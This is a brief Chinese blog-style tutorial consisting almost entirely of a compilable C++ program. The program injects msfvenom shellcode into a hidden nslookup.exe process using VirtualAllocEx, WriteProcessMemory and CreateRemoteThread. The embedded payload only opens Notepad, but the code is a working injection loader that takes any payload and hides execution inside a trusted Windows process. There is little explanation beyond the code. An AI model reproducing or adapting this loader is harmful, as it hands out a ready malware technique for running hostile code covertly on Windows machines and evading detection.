windows下shellcode注入的例子(WriteProcessMemory+CreateRemoteThread)
vs里x64编译如下代码:

#include <iostream>
#include <Windows.h>
// #include "common.h"
int main()
{
// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
// Create a 64-bit process:
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(shellcode);
LPCWSTR cmd;
HANDLE hProcess, hThread;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");
if (!CreateProcess(
cmd, // Executable
NULL, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_NO_WINDOW, // Do Not Open a Window
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
)) {
DWORD errval = GetLastError();
std::cout << "FAILED" << errval << std::endl;
}
WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize.
// Inject into the 64-bit process:
// HIGH-LEVEL WINDOWS API:
allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);
}
成功后运行:



浙公网安备 33010602011771号